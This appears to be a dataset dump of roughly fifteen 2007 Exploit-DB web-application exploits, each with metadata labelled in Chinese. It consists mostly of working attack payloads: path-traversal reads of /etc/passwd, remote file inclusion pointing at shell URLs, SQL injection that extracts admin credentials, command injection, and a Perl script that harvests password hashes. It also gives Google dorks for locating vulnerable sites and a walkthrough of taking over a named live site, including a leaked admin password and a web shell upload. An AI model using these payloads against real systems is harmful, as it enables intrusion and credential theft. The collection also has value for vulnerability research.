QLWD/code_shield huggingface dataset:
标题: Mihalism Multi Host 2.0.7 - 'download.php' Remote File Disclosure EDB-ID: 4812 CVE: 2007-6653 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: ########                  ######              ####                ######  ######
  ##      ##                    ##                  ##                  ####  ####  
  ##              ######        ##            ####  ##                  ####  ####  
  ##            ##      ##      ##          ##    ####                  ##  ##  ##  
  ##    ######  ##      ##      ##    ##    ##      ##                  ##      ##  
  ##      ##    ##      ##      ##    ##    ##      ##                  ##      ##  
    ######        ######      ##########      ##########              ######  ######
                                                        ##############              

####################################################################################
###### Mihalism Multi Host v2.0.7 download.php Remote File Disclosure Vuln     #####
###### Script Page :  :(                                                       #####
###### POC :                                                                   #####
###### /Script/download.php?file=../../../../../../../../../../../etc/passwd   #####
###### D0rkS :                                                                 #####
###### Powered by Mihalism Multi Host v2.0.7                                   #####
###### Powered by Mihalism Multi Host v2.0.5                                   #####
###### Powered by Mihalism Multi Host v2.0.4                                   #####
###### Powered by Mihalism Multi Host v2.0.3 MBF                               #####
###### Powered by Mihalism Multi Host v3.1.1 Final                             #####
###### GREETZ TO :                                                             #####
###### TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr , Asb-May's Team & ALL           #####
####################################################################################

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4812
标题: CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection EDB-ID: 4810 CVE: 2007-6656 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: -------------------------------------------------------------------------
CMS Made Simple <= 1.2.2 (TinyMCE module) - Remote SQL Injection Advisory
-------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.cmsmadesimple.org/
dork.....: "This site is powered by CMS Made Simple version 1.2.2"

[-] Vulnerable code in /modules/TinyMCE/content_css.php :

 26. $templateid = '';
 27. if (isset($_GET["templateid"])) $templateid = $_GET["templateid"]; <==
 28.
 29. $mediatype = '';
 30. if (isset($_GET["mediatype"])) $mediatype = $_GET["mediatype"];
 31.
 32. $name = '';
 33. if (isset($_GET['name'])) $name = $_GET['name'];

 64.  if ($name != '')
 65.   $sql="SELECT css_text, css_name FROM ".$config['db_prefix']."css WHERE css_name = '" . mysql_real_escape_string($name, $db) . "'";
 66.  else
 67.   $sql="SELECT c.css_text, c.css_id, c.css_name FROM ".$config['db_prefix']."css c,".$config['db_prefix']."css_assoc ac WHERE ac.assoc_type='template' AND ac.assoc_to_id = $templateid  (...) <==
 68.  $result=mysql_query($sql);
 69. //  echo $sql;
 70.  while ($result && $row = mysql_fetch_assoc($result))
 71.  {
 72.   $css .= "/* Start of CMSMS style sheet '{$row['css_name']}' */\n{$row['css_text']}\n/* End of '{$row['css_name']}' */\n";
 73.  }
 
 $_GET["templateid"] isn't properly checked at line 27, this results in a sql injection at line 67
 
[*] An attacker can break database through browser! P.o.C. :

http://[host]/[path]/modules/TinyMCE/content_css.php?templateid=-1/**/UNION/**/SELECT/**/username,1,password/**/FROM/**/{prefix}_users/*

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4810
标题: kontakt formular 1.4 - Remote File Inclusion EDB-ID: 4811 CVE: 2007-6655 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   +                                                          +
                   + Kontakt Formular 1.4 Remote File Inclusion Vulnerability +
                   +                                                          +
                   +                  Discovered by bd0rk                     +
                   +                                                          +
                   ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Vendor: http://www.mapos-scripts.de

Download: http://www.mapos-scripts.de/download,5.html

Vulnerable Code in /includes/function.php

-------------------------------------------------------------------

<?php
@session_start();

$datei_path = $datei_path ? $datei_path : $root_path."/index.php";
$datei_path = htmlentities($datei_path);
$kontakt_config=array();
include_once($root_path.'/includes/config.php');

-------------------------------------------------------------------

[+]Exploit: http://[target]/[path]/includes/function.php?root_path=[Shellcode]


Greetings: str0ke, TheJT, Luna-Tic, DNX


####The 19 years old german Hacker bd0rk####

Contact: bd0rk[at]hackermail.com

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4811
标题: SanyBee Gallery 0.1.1 - 'p' Local File Inclusion EDB-ID: 4816 CVE: 2007-6648 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: ################################################################################
# SanyBee Gallery 0.1.1  (p)  local File Inclusion
#  
# Script Name:  SanyBee Gallery 0.1.1
#        
# D.Script: http://www.easy-script.com/scripts-dl/SanyBeeGallery_V0.1.0.zip
#                                                                                                            
# Discovered by:  jackal                                    
#
# contact: mi3adi@hotmail.fr                                                        
################################################################################


*==Exploit==*
================================================================

http://www.target.com/[SanyBee Gallery 0.1.1]/index.php?p=[ LFI ]%00
================================================================

Thanx: [cold-zer0]==&==[kof]==&==[firas]

GreeTz: [M]oRoCCaN [S]aBoTaGe [T]eaM

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4816
标题: matpo bilder galerie 1.1 - Remote File Inclusion EDB-ID: 4815 CVE: 2007-6649 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       MatPo Bilder Galerie 1.1
*    [~] Download.....:       http://www.mapos-scripts.de/download,33.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       intitle:Bilder Galerie 1.1 or intitle:Bilder Galerie
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/includes/tumbnail.php?config[root_ordner]=sh3lz?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: f3ck y0ur l3fe
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4815
标题: Hot or Not Clone by Jnshosts.com - Database Backup Dump EDB-ID: 4804 CVE: 2007-6603 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: # Name : Hot or Not Clone by Jnshosts.com  Dump backup And See Password Admin
# Download From : http://www.jnshosts.com/downloads/hot-or-not-clone-script/index.php
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
# Google Dork : Copyright @ 2007 Powered By Hot or Not Clone by Jnshosts.com Rate My Pic :: Home :: Advertise :: Contact us::
============================================================================
# Exploit:
You Can Download Backup For Script Like e.g Here:
http://www.ratemyscript.com/control/backup/backup.php
I Donlowad Backup.sql Then I See Password Here Like e.g In Line May Be 2 Or 3:
);#%%
INSERT INTO admin VALUES ('admin','desperad');
username admin : admin
password : desperad
Then Enter Here In Admincp:
http://www.ratemyscript.com/control/
If You Want Upload Shell You Can Enter Here :
http://www.ratemyscript.com/control/sitebanners/upload_banners.php
Then Enter Here If You See Uploaded Banner Like Here:
http://www.ratemyscript.com/control/sitebanners/manage_banners.php
Then Like Here See Direct Shell:
http://www.ratemyscript.com/banners/tryag.php
That,s Gift For Tryag TeaM ^^
Good Luck Everybody
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa TeaM (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Happy Aid All Muslims
Best Wishes

# milw0rm.com [2007-12-28] URL: https://www.exploit-db.com/exploits/4804
标题: XCMS 1.82 - Local/Remote File Inclusion EDB-ID: 4802 CVE: 2007-6604 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: #  _ __   _____  _____ _ __
# | '_ \ / _ \ \/ / _ \ '_ \
# | | | |  __/>  <  __/ | | |
# |_| |_|\___/_/\_\___|_| |_|
# XCMS <= 1.82 LFI & RCE Xpl
# Nexen rocked this one ;)
# LFIs
http://127.0.0.1/xcms/index.php?pg=admin&s=../../../../../etc/passwd\0
http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../../../../etc/passwd\0

# Hash disclosure
http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../dati/membri/[username].dtb\0

# RCE:
Doing RCE is more difficult, you must have an image with a php code binded (you can use edjpgcom to do that)
now upload that image on your panel, and exploit rce trough lfi:

http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../uploads/avatar/[your_username].jpg\0

# milw0rm.com [2007-12-28] URL: https://www.exploit-db.com/exploits/4802
标题: Mihalism Multi Forum Host 3.0.x - Remote File Inclusion EDB-ID: 4808 CVE: 2007-6657 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-29 漏洞利用脚本: ########                  ######              ####                ######  ######
  ##      ##                    ##                  ##                  ####  ####  
  ##              ######        ##            ####  ##                  ####  ####  
  ##            ##      ##      ##          ##    ####                  ##  ##  ##  
  ##    ######  ##      ##      ##    ##    ##      ##                  ##      ##  
  ##      ##    ##      ##      ##    ##    ##      ##                  ##      ##  
    ######        ######      ##########      ##########              ######  ######
                                                        ##############              

####################################################################################
###### Mihalism Multi Forum Host <= v3.0.x Remote File Inclusion Vulnerability #####
###### Script Page : http://www.mihalism.com/misc/downloads/                   #####
###### POC :                                                                   #####
###### /ScriptPage/source/includes/load_forum.php?mfh_root_path=http://Shell   #####
###### D0rK :                                                                  #####
###### Mihalism Multi Forum Host Â© 2007                                        #####
###### GREETZ TO :                                                             #####
###### TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr , Asb-May's Team & ALL           #####
####################################################################################

# milw0rm.com [2007-12-29] URL: https://www.exploit-db.com/exploits/4808
标题: CCMS 3.1 Demo - SQL Injection EDB-ID: 4809 CVE: 2007-6658 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-29 漏洞利用脚本: #!/usr/bin/perl 
#Found by Pr0metheuS 
#Coded by Pr0metheuS 
#Gr33tz-Team 
#Dork : intitle:"CCMS v3.1 Demo PW" 
print "______________________________________\n"; 
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; 
print "______________________________________\n"; 
print "[+] Enter SITE:\n"; 
$SITE = <STDIN>; 
chomp $SITE; 
print "[+] Enter PATH:\n"; 
$PATH = <STDIN>; 
chomp $PATH; 
print "[+] Enter USERID:\n"; 
$USERID = <STDIN>; 
chomp $USERID; 
print "______________________________________\n"; 
#Send Request 
use LWP::UserAgent; 
$ua = new LWP::UserAgent; 
$ua->agent("Mozilla/8.0"); 
$ua = LWP::UserAgent->new; 
my $req = HTTP::Request->new(GET => "$SITE$PATH/admin.php/vars.php?page=Console&p=1'+union+select+userid,2,3,PASSWORD+from+user+where+userid=$USERID/*"); 
$req->header('Accept' => 'text/html'); 
$res = $ua->request($req); 
$con = $res->content; 
#FIND MD5 IN TEXT REGEX !!! 
if ($con =~ "/([0-9a-fA-F]{32})/") { 
print "______________________________________\n"; 
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; 
print "[+] Exploit successful!\n"; 
print "[+] USERID:$USERID\n"; 
print "[+] MD5:$1\n"; 
print "______________________________________\n"; 
} 
else{ 
print "______________________________________\n"; 
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; 
    print "[+] Exploit Failed!\n"; 
}

# milw0rm.com [2007-12-29] URL: https://www.exploit-db.com/exploits/4809
标题: Joovili 3.0.6 - 'joovili.images.php' Remote File Disclosure EDB-ID: 4799 CVE: 2007-6621 2007-6620 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-27 漏洞利用脚本: found by EcHoLL
version: 2.***
include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE
include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
version 3.**
joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
joovili.images.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
 
demo
http://demo.joovili.com/include/joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
dork: powered by joovili

# milw0rm.com [2007-12-27] URL: https://www.exploit-db.com/exploits/4799
标题: xml2owl 0.1.1 - 'showcode.php' Remote Command Execution EDB-ID: 4800 CVE: 2007-6632 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-28 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

          Remote Command Execution

---------------------------------------------------------------

# Author: MhZ91
# Title: xml2owl-0.1.1 - Remote Command Execution
# Download: http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
# Bug: Remote Command Execution
# Info: Up to now, most ontologies are created manually, which is very time-expensive. The goal is it, to produce ontologies automatically via XSLT, which fit as good as possible to a given XML-file resp. XML-Schema-file
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

In the file showCode.php there is this... 

<?
 $xml2html = "xsl/xmlverbatim.xsl";
 $path = $_REQUEST['path']; <- 
 
  if(class_exists('XSLTProcessor')) {
    $xsl = new XSLTProcessor();
    
    $res = DOMDocument::load($path);
  
    $xsl->importStylesheet(DOMDocument::load($xml2html));
    echo $xsl->transformToXML($res);
  }
  else {
    $exec_string = "xsltproc " . $xml2html . " " . $path; <-
    echo shell_exec($exec_string); <-
  }
?>

We can modify the $path variable.. and give a remote command execution by the function shell_exec.. 

Type http://www.site.com/showCode.php?path=;uname -a

... 

---------------------------------------------------------------

# milw0rm.com [2007-12-28] URL: https://www.exploit-db.com/exploits/4800
标题: MailMachine Pro 2.2.4 - SQL Injection EDB-ID: 4788 CVE: 2007-6551 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-25 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

          Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91
# Title: MailMachine Pro 2.2.4 - Remote Sql Injection
# Download: http://webgraf.ru/2007/11/27/mailmachine_pro_224.html
# Bug: Remote Sql Injection
# Info: Mail Machine Pro is a professional mailing list manager written in php. This program features a web-based setup wizard, unlimited lists and subscribers, unlimited admins, personalization of newsletters with user data, autoreplies, scheduled mailings, email attachments, link tracking, bounced email management, opt-in/out, optional SMTP sending, mailing lists stats, import/export of subscriber list, automatic backup and restore, real-time message queue and more.
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/showMsg.php?id=-1+union+select+1,2,3,4,5,6,concat(user_id,char(58),password),8,9,10+from+mailmachine_users/*

Whit this u get user:password of the admin

I think there is other sql injection xD

Bye.. and visit http://www.inj3ct-it.org !!

---------------------------------------------------------------

# milw0rm.com [2007-12-25] URL: https://www.exploit-db.com/exploits/4788
标题: XZero Community Classifieds 4.95.11 - Remote File Inclusion EDB-ID: 4795 CVE: 2007-6568 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-26 漏洞利用脚本: # XZero Community Classifieds  <= v4.95.11 Remote File Inclusion
# linK : http://www.xzeroscripts.com
# download: http://rapidshare.com/files/66809648/XZCl4.95.11.rar
#
# (c)od3d and f0unded by Kw3rLn from Romanian Security Team a.K.A http://rstzone.org
#
# we have in config.inc.php:
#    line303:    require_once("{$path_escape}ipblock.inc.php");
#
# link: http://site.com/config.inc.php?path_escape=shell.txt%00
#
# meri crismas...hohoho
# greetz to all RST [rstzone.org] MEMBERZ !

# milw0rm.com [2007-12-26] URL: https://www.exploit-db.com/exploits/4795
标题: eSyndiCat Link Exchange Script 2005-2006 - SQL Injection EDB-ID: 4791 CVE: 2007-6543 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-25 漏洞利用脚本: --------------------------------------------------------------
eSyndiCat Link Exchange Script - Remote SQL Injection Advisory
--------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.esyndicat.com/
dork.....: "Â© 2005-2006 Powered by eSyndiCat Link Exchange Script"
details..: works with magic_quotes_gpc = off

[-] Vulnerable code in /suggest-link.php :

 30. /** gets information about current category **/
 31. $category =& $gDirDb->getCategoryById($_GET['id']);
 32. $gDirSmarty->assign_by_ref('category', $category);

[-] getCategoryById function defined in /classes/Dir.php :

 323. function getCategoryById($aCategory)
 325. {
 326.  $sql = "SELECT * FROM `{$this->mPrefix}categories` ";
 327.  $sql .= "WHERE `id` = '{$aCategory}'";
 328.
 329.  return $this->mDb->getRow($sql);
 330. }


[*] An attacker can break database through browser! P.o.C. :

http://[host]/[path]/suggest-link.php?id=-1'/**/UNION/**/SELECT/**/1,1,1,password,1,1,1,1,username,1,1/**/FROM/**/dir_admins/*

# milw0rm.com [2007-12-25] URL: https://www.exploit-db.com/exploits/4791
标题: Blakord Portal Beta 1.3.A (All Modules) - SQL Injection EDB-ID: 4793 CVE: 2007-6565 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-26 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+            Blakord Portal <= Beta 1.3.A (all modules) Blind Sql Injection          +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Blakord Portal
[~] HomePage: http://www.cdv3k.com
[~] Exploit: Blind Sql Injection [High]
[~] Where: All Modules
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "Power by Blakord Portal"
[~] Dork2: "Powered by Blakord Portal"
[~] Dork3: "Blakord Portal"

[+] Compression:

[~] True: http://localhost/[path]/[any module]?id=1 and 1=1
[~] False: http://localhost/[path]/[any module]?id=1 and 1=2

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/[any module]?id=1 and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM users) >= 0
[~] Example2: http://localhost/[path]/[any module]?id=1 and exists (select * from users)
[~] If you don't see any error, it is tha table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM users) = 6
[~] If you don't see any error, the table has 6 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/[any module]?id=1 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(U_PASSWORD) FROM users) >= 0
[~] If you don't see any error, the column exists.

[*] Admin Password; Noob or Lammer?:

[~] Exploit: Priv8
[~] Example: Priv8
[~] Priv8 , xD.

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2007-12-26] URL: https://www.exploit-db.com/exploits/4793